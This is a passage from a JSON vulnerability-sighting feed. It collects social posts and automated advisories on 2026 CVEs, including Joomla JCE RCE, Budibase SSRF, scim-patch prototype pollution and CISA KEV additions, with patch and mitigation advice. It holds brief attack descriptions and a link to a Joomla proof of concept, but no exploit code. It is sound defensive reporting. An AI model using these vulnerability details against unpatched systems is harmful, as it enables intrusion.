\u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-08-10T12:00:03.575761Z"}, {"uuid": "228d9e4c-95d7-4ad7-912f-e6b5f334e4e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48502", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow6ee6ob22q", "content": "CVE-2026-48502 - MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows\nCVE ID : CVE-2026-48502\n \n Published : June 22, 2026, 9:18 p.m. | 2\u00a0hours, 25\u00a0minutes ago\n \n Description : MessagePack for C# is a Messag...", "creation_timestamp": "2026-06-23T00:45:51.694083Z"}, {"uuid": "b633b10e-d0eb-4ebd-b442-e8f1ed3350c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48505", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow6lzrmz42a", "content": "CVE-2026-48505 - Filament: Multi-factor authentication (app) recovery codes can still be used multiple times via concurrent submission\nCVE ID : CVE-2026-48505\n \n Published : June 22, 2026, 9:39 p.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : Filament is a collection of full-sta...", "creation_timestamp": "2026-06-23T00:50:09.097391Z"}, {"uuid": "79415609-b2c3-48f0-89c3-111e4f8aa647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48167", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow75wphmt2e", "content": "CVE-2026-48167 - Filament: Unvalidated ImageColumn and ImageEntry values can be used for XSS\nCVE ID : CVE-2026-48167\n \n Published : June 22, 2026, 9:43 p.m. | 2\u00a0hours ago\n \n Description : Filament is a collection of full-stack components for accelerated Laravel development. Fr...", "creation_timestamp": "2026-06-23T01:00:09.798421Z"}, {"uuid": "da4debd7-723f-4a9e-b198-8d99b313b7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48170", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mowbt3vgh62r", "content": "\u26a0\ufe0f PATCH NOW\n\nOne account-sync message can corrupt every object in your app.\n\nA widely-used identity library, scim-patch, applies the update straight onto JavaScript's shared prototype, and admin checks can flip true.\n\nPatch to 0.9.1 now. (CVE-2026-48170)", "creation_timestamp": "2026-06-23T01:47:50.618705Z"}, {"uuid": "ed7dc271-2783-4def-86af-23dadd4a79b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48865", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mowqr5zjf52v", "content": "CVE-2026-48865 learnpress (CVSS Score 6.1) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-23T06:15:08.980086Z"}, {"uuid": "d6230c12-4ad9-48b6-9149-b8fe9377eab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48874", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mowxhpvugl2k", "content": "CVE-2026-48874 gamipress (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-23T08:15:13.711962Z"}, {"uuid": "5780a151-edfc-44fc-a447-5f0b69cefaed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48868", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mox2synokh2b", "content": "CVE-2026-48868 wordpress-simple-paypal-shopping-cart (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-23T09:15:07.790113Z"}, {"uuid": "8602c1db-4d2f-4e27-b14c-224acf0c984c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48153", "type": "seen", "source": "https://gist.github.com/alon710/ca5754f7e7e7aeff3ad1cd262378f58b", "content": "# CVE-2026-48153: CVE-2026-48153: Server-Side Request Forgery in Budibase OAuth2 SDK\n\n> **CVSS Score:** 8.5\n> **Published:** 2026-06-22\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48153\n\n## Summary\nCVE-2026-48153 is a Server-Side Request Forgery (SSRF) vulnerability in the Budibase OAuth2 SDK prior to version 3.39.0. It allows authenticated low-privileged users to bypass outbound network security blacklists and send arbitrary requests to internal subnets or cloud metadata services.\n\n## TL;DR\nA bypass in the Budibase OAuth2 SDK allows low-privileged users to trigger Server-Side Request Forgery (SSRF) against internal resources, bypassing central IP blacklists.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1**: 8.5 (HIGH)\n- **EPSS Score**: 0.00174\n- **EPSS Percentile**: 7.04%\n- **Exploit Status**: poc\n- **KEV Status**: not listed\n\n## Affected Systems\n\n- Budibase < 3.39.0\n- **budibase**: < 3.39.0 (Fixed in: `3.39.0`)\n\n## Mitigation\n\n- Upgrade Budibase to version 3.39.0 or higher\n- Implement network egress filtering to restrict container access to loopback and cloud metadata endpoints\n- Audit OAuth2 datasource configurations for internal IP addresses\n\n**Remediation Steps:**\n1. Pull the latest Budibase container image (version >= 3.39.0)\n2. Redeploy the application service\n3. Configure container network security groups or iptables to block egress to 169.254.169.254 and private subnets if not required\n4. Restrict the assignment of the builder role to trusted users\n\n## References\n\n- [GitHub Security Advisory GHSA-4q6h-8p4v-67vq](https://github.com/Budibase/budibase/security/advisories/GHSA-4q6h-8p4v-67vq)\n- [CVE.org CVE-2026-48153 Record](https://www.cve.org/CVERecord?id=CVE-2026-48153)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48153) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-23T09:41:50.000000Z"}, {"uuid": "fb68e9b9-d8d4-4374-a358-0165eea6d8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48875", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mox66eggyl2b", "content": "CVE-2026-48875 jet-smart-filters (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-23T10:15:10.567527Z"}, {"uuid": "8c0368a3-e38e-45b5-a2eb-d1773ad895aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mox7eshbps2k", "content": "\u26a0\ufe0f CISA just added another Joomla bug to its exploited list. How many are still unpatched in your environment?\n\nCVE-2026-48907.\n\nhttps://www.yazoul.net/malware/mirai-2026-06/reports/2026-06-21/\n\n#CyberSecurity #Security", "creation_timestamp": "2026-06-23T10:36:39.988959Z"}, {"uuid": "604041ed-cc6a-4bca-8035-af1ca5dd5660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48907", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/116799252848428119", "content": "Last week we added scanning for Joomla JCE editor extension CVE-2026-48907 vulnerable instances. This RCE vulnerability is exploited in the wild & on US CISA KEV.  4840 vulnerable instances seen 2026-06-22 down from 5146 on 2026-06-19. Top affected: US\nhttps://dashboard.shadowserver.org/statistics/combined/map/?date_range=1&map_type=std&source=http_vulnerable&source=http_vulnerable6&tag=cve-2026-48907%2B&data_set=count&scale=log&auto_update=on\nRaw IP data shared in our Vulnerable HTTP reporting https://www.shadowserver.org/what-we-do/network-reporting/vulnerable-http-report/ tagged 'cve-2026-48907' filtered by network/constituency\nDashboard Tree Map view: https://dashboard.shadowserver.org/statistics/combined/tree/?date_range=1&source=http_vulnerable&source=http_vulnerable6&tag=cve-2026-48907%2B&data_set=count&scale=log&auto_update=on\nPatch info: https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites", "creation_timestamp": "2026-06-23T11:46:03.212247Z"}, {"uuid": "ae2f2312-8604-4f6b-b2e9-264b4cccc5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48909", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3moyeu62nn22k", "content": "Tuesday\u2019s fuck up - this time Joomla & PHP - In SP LMS PHP Object Injection - RCE\nPOC  \u2264 4.1.3 for Joomla CMS github.com/Is4yev/CVE-2... #cve #poc #exploit #cve-2026-48909 #joomla #php", "creation_timestamp": "2026-06-23T11:47:38.442781Z"}, {"uuid": "695f232c-6924-48f9-818b-3b5254e44962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3moxddmglwk2b", "content": "Last week we added scanning for Joomla JCE editor extension CVE-2026-48907 vulnerable instances. This RCE vulnerability is exploited in the wild & on US CISA KEV.  4840 vulnerable instances seen 2026-06-22 down from 5146 on 2026-06-19. Top affected: US\n\ndashboard.shadowserver.org/statistics/c...", "creation_timestamp": "2026-06-23T11:47:42.936658Z"}, {"uuid": "c30790da-9169-4eab-80c7-72e3bfe156e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3moxddqwy2c2b", "content": "Last week we added scanning for Joomla JCE editor extension CVE-2026-48907 vulnerable instances. This RCE vulnerability is exploited in the wild & on US CISA KEV.  4840 vulnerable instances seen 2026-06-22 down from 5146 on 2026-06-19. Top affected: US\n\ndashboard.shadowserver.org/statistics/c...", "creation_timestamp": "2026-06-23T11:47:43.750103Z"}, {"uuid": "3825f255-8900-49c0-86fb-b8afd5c89885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48779", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3moxe4pqxbq2x", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-48779 impacts ws in 3 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/577\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-06-23T12:01:37.488865Z"}, {"uuid": "57cf62c2-9733-4a8a-baa4-633303a1a510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxebiqfqk2n", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\nRelease Date May 27, 2026\n\nCVE-2026-8398 Daemon Tools Lite Embedded Malicious Code Vulnerability\nCVE-2026-45321 TanStack Unspecified Vulnerability\nCVE-2026-48027 Nx Console Embedded Malicious Code Vulnerability", "creation_timestamp": "2026-06-23T12:04:18.036005Z"}, {"uuid": "be57aa1e-95c3-4ba4-b4f1-7caed8c9b3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxecmqe2c2n", "content": "\u8907\u6570\u30bd\u30d5\u30c8\u304c\u6539\u3056\u3093\u88ab\u5bb3\u3001\u6b63\u898f\u30eb\u30fc\u30c8\u3067\u6c5a\u67d3\u7248\u304c\u6d41\u901a - \u7c73\u5f53\u5c40\u304c\u6ce8\u610f\u559a\u8d77\n\n\u7c73\u5f53\u5c40\u306f\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u4fb5\u5bb3\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u60273\u4ef6\u306b\u3064\u3044\u3066\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e745\u670827\u65e5\u3001\u300cCVE-2026-8398\u300d\u300cCVE-2026-45321\u300d\u300cCVE-2026-48027\u300d\u3092\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8ffd\u52a0\u3057\u305f\u3002\u3044\u305a\u308c\u3082\u63d0\u4f9b\u5143\u306e\u4fb5\u5bb3\u3084\u6b63\u898f\u7d4c\u8def\u306b\u3088\u308b\u914d\u5e03\u306a\u3069\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u4fb5\u5bb3\u306b\u8d77\u56e0\u3059\u308b\u554f\u984c\u3068\u306a\u308b\u3002\n\n\u300cCVE-2026-8398\u300d\u306f\u3001\u30c7\u30a3\u30b9\u30af\u30a4\u30e1\u30fc\u30b8\u7ba1\u7406\u30bd\u30d5\u30c8\u300cDAEMON Too...", "creation_timestamp": "2026-06-23T12:04:55.891858Z"}, {"uuid": "ff9a23b2-7f09-48db-89b3-26ceeb9a09e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxesahlrk2n", "content": "Notepad++\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u653b\u6483\u304c\u53ef\u80fd\u306b\u306a\u308b\u6050\u308c\u304c\u3042\u308b\n\nNotepad++\u306f\u3001\u7279\u5b9a\u306e\u6761\u4ef6\u4e0b\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b\u91cd\u5927\u306a\u6b20\u9665\u3092\u542b\u3080\u3001\u8907\u6570\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u3001\u30d0\u30fc\u30b8\u30e7\u30f38.9.6.1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n2026\u5e745\u670826\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u3053\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u3001CVE-2026-48770\u3001CVE-2026-48778\u3001\u304a\u3088\u3073CVE-2026-48800\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b3\u3064\u306e\u8106\u5f31\u6027\u304c\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u554f\u984c\u306f\u30d0\u30fc\u30b8\u30e7\u30f38.9.6\u307e\u3067\u306b\u5f71\u97ff\u3057\u3001\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u306e\u4e0d\u9069\u5207\u306a\u53d6\u308a\u6271\u3044\u306b\u95a2\u9023\u3059\u308b\u30ea\u30b9\u30af\u3092\u6d6e\u304d\u5f6b\u308a\u306b\u3057\u3066\u3044\u307e\u3059\u3002", "creation_timestamp": "2026-06-23T12:13:41.810129Z"}, {"uuid": "adf64a8c-9b4e-4e17-a63d-6579b13e75de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxesahlrk2n", "content": "Notepad++\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u653b\u6483\u304c\u53ef\u80fd\u306b\u306a\u308b\u6050\u308c\u304c\u3042\u308b\n\nNotepad++\u306f\u3001\u7279\u5b9a\u306e\u6761\u4ef6\u4e0b\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b\u91cd\u5927\u306a\u6b20\u9665\u3092\u542b\u3080\u3001\u8907\u6570\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u3001\u30d0\u30fc\u30b8\u30e7\u30f38.9.6.1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n2026\u5e745\u670826\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u3053\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u3001CVE-2026-48770\u3001CVE-2026-48778\u3001\u304a\u3088\u3073CVE-2026-48800\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b3\u3064\u306e\u8106\u5f31\u6027\u304c\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u554f\u984c\u306f\u30d0\u30fc\u30b8\u30e7\u30f38.9.6\u307e\u3067\u306b\u5f71\u97ff\u3057\u3001\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u306e\u4e0d\u9069\u5207\u306a\u53d6\u308a\u6271\u3044\u306b\u95a2\u9023\u3059\u308b\u30ea\u30b9\u30af\u3092\u6d6e\u304d\u5f6b\u308a\u306b\u3057\u3066\u3044\u307e\u3059\u3002", "creation_timestamp": "2026-06-23T12:13:41.840730Z"}, {"uuid": "3560e3a2-fe20-47a8-9b90-7fd84a8ebad1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxeu4h7j22n", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001  LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027CVE-2026-48172\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-48172\uff08CVSS\u30b9\u30b3\u30a210.0\uff09\u306f\u3001LiteSpeed User-End cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30d0\u30fc\u30b8\u30e7\u30f32.4.5\u3088\u308a\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u6a29\u9650\u6607\u683c\uff08root\u6a29\u9650\u307e\u3067\uff09...", "creation_timestamp": "2026-06-23T12:14:42.898591Z"}, {"uuid": "fd24c918-a3bf-4508-85fd-23fed150c9a9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0f2302f3-00e7-4d90-86fc-886701fba25b", "content": "", "creation_timestamp": "2026-06-23T14:02:57.116293Z"}, {"uuid": "2f7b4b7d-4401-42cb-9fee-bb5389b6ae6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxezct7oc2n", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Daemon Tools\u3001TanStack\u3001\u304a\u3088\u3073Nx Console\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\n\nCVE-2026-8398\uff08CVSS\u30b9\u30b3\u30a2\uff1a\u30d0\u30fc\u30b8\u30e7\u30f34.0\u30679.3\uff09Daemon Tools Lite Embedded\u306e\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306e\u8106\u5f31\u6027\nCVE-2026-45321\uff08CVSS\u30b9\u30b3\u30a2\uff1a\u30d0\u30fc\u30b8\u30e7\u30f33.1\u30679.5\uff09TanStack\u306e\u7279\u5b9a\u3055\u308c\u3066\u3044\u306a\u3044\u8106\u5f31\u6027\nCVE-2026-48027\uff08CVSS\u30b9\u30b3\u30a2\uff1a\u30d0\u30fc\u30b8\u30e7\u30f34.0\u30679.3\uff09Nx Console\u7d44\u307f\u8fbc\u307f\u578b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306e\u8106\u5f31\u6027", "creation_timestamp": "2026-06-23T12:17:38.014134Z"}, {"uuid": "5ab18d58-a9d4-449c-933e-5db6e63cad1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4868", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxisf57l22n", "content": "\u300cGitLab\u300d\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 - \u8106\u5f31\u60277\u4ef6\u3092\u4fee\u6b63\n\nGitLab\u306f\u73fe\u5730\u6642\u95932026\u5e745\u670827\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3068\u306a\u308b\u300c\u540c19.0.1\u300d\u300c\u540c18.11.4\u300d\u300c\u540c18.10.7\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u300cGitLab Community Edition\uff08CE\uff09\u300d\u300c\u540cEnterprise Edition\uff08EE\uff09\u300d\u5411\u3051\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u3078\u5bfe\u51e6\u3057\u305f\u3082\u306e\u3002\n\n\u91cd\u8981\u5ea6\u304c4\u6bb5\u968e\u4e2d\u3082\u3063\u3068\u3082\u9ad8\u3044\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08Critical\uff09\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u306f\u306a\u304b\u3063\u305f\u3002\u300cCVE-2026-4868\u300d\u304c2\u756a\u76ee\u306b\u9ad8\u3044\u300c\u9ad8\uff08High\uff09\u300d\u3068\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u540c\u8106\u5f31\u6027\u306f\u3001\u300cGitLab E...", "creation_timestamp": "2026-06-23T13:25:19.383325Z"}, {"uuid": "262680c1-f9e0-4899-b58a-3e0abc5aceb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48931", "type": "seen", "source": "https://gist.github.com/muhamedfazalps/a3449070789a6a2c13d4d4e844af803b", "content": "# \u26a0\ufe0f SECURITY ALERT: Multiple CVEs Affecting Popular Packages (June 2026)\n\n## CVE-2026-48931 \u2014 Node.js 24.17 / node-fetch Premature Close\n- **Impact:** Affects Node.js 24.17 and any app using node-fetch\n- **Severity:** High\n- **Affected:** Backstage (20\ud83d\udc4d issue), any Node.js app on 24.17\n- **Fix:** Update Node.js or apply backport\n- **Issue:** https://github.com/backstage/backstage/issues/34651\n\n## CVE-2026-54297 \u2014 Faraday Dependency Vulnerability\n- **Impact:** Affects Fastlane and apps using Faraday\n- **Severity:** High\n- **Affected:** Fastlane (9\ud83d\udc4d issue), any Ruby app using Faraday\n- **Fix:** Update Faraday dependency\n- **Issue:** https://github.com/fastlane/fastlane/issues/30086\n\n## CVE-2026-42530 & CVE-2026-42055 \u2014 nginx Vulnerabilities\n- **Impact:** Affects nginx and mailcow-dockerized\n- **Severity:** High\n- **Affected:** mailcow-dockerized (7\ud83d\udc4d issue), any nginx deployment\n- **Fix:** Update nginx to patched version\n- **Issue:** https://github.com/mailcow/mailcow-dockerized/issues/7299\n\n## js-yaml Quadratic DoS (v3.x)\n- **Impact:** Affects any app using js-yaml v3.x for YAML parsing\n- **Severity:** Medium-High\n- **Affected:** 15\ud83d\udc4d issue requesting backport from v4.2.0 to v3\n- **Fix:** Update to js-yaml v4.2.0+ or apply backport\n- **Issue:** https://github.com/nodeca/js-yaml/issues/762\n\n## How to Check If You're Affected\n1. Check your Node.js version: `node --version`\n2. Check your Ruby/Bundler dependencies: `bundle list | grep faraday`\n3. Check your nginx version: `nginx -v`\n4. Check your js-yaml version: `npm ls js-yaml`\n\n## What to Do\n1. Update affected dependencies immediately\n2. Review logs for suspicious activity\n3. Rotate credentials if exposure is suspected\n\n---\n*If this alert helped you: https://buymeacoffee.com/muhamedfazalps*\n", "creation_timestamp": "2026-06-23T13:41:44.000000Z"}, {"uuid": "745d2795-5888-4730-ab6c-364aa2570a96", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c2ceb88c-27b6-4a4d-ae8d-e78c083d60f3", "content": "", "creation_timestamp": "2026-06-23T14:03:37.633367Z"}, {"uuid": "f70f8183-cf8a-41fd-8bd3-427712a119e0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1d5aa159-8570-4699-a3f3-ba9b93be035b", "content": 